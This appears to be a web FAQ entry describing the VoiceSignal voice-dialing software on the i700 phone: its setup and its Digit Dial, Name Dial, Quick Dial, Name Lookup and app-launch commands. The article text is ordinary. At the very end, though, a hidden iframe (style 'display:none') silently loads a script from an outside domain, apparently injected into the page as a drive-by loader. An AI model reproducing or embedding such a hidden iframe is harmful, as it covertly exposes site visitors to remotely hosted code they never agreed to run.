Does the i700 support voice activated calling?

Yes, the i700 comes with software to support voice dialing, and it works very well. It is called VoiceSignal, and must be installed from the companion CD.

The best way to use it is to tie it to a hardware button (like the voice memo button that is rarely used). When you press the button, VoiceSignal launches and says "Please Say a Command". This is very quick. Here are the command choices that you can choose from...

Digit Dial - With this command, you will be prompted to say the telephone number digit by digit. It appears that you must enter the area code as well.
Name Dial - With this command, you can choose any name or company that is in your Contacts database, and it will dial the number. If the contact has more than one number, it gives you a list and you pick the correct number from the list. I find this very accurate, considering no learning was done. It will even figure out that when you say "Steve", that the "Stephen" in the database is the right guy.
Quick Dial - With Quick Dial, you can pick from a special list of names that you have trained with nicknames. This is handy for frequently called names. I have not found a need to use it since the Name Dial is so accurate.
Name Lookup - This works the same as Name Dial, but instead of dialing, it shows a one page summary of the contact's name, address, numbers, etc..
Open <App> - This selection will let you launch an application. You can either say Open, then pick from a list, or you can say Open Calculator (to have it open the Calculator program). You must preconfigure the apps that you want to be opened from VoiceSignal.

This program is very quick and very accurate. I've only used it for a short time... and will update this FAQ if I find it less accurate in other settings.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
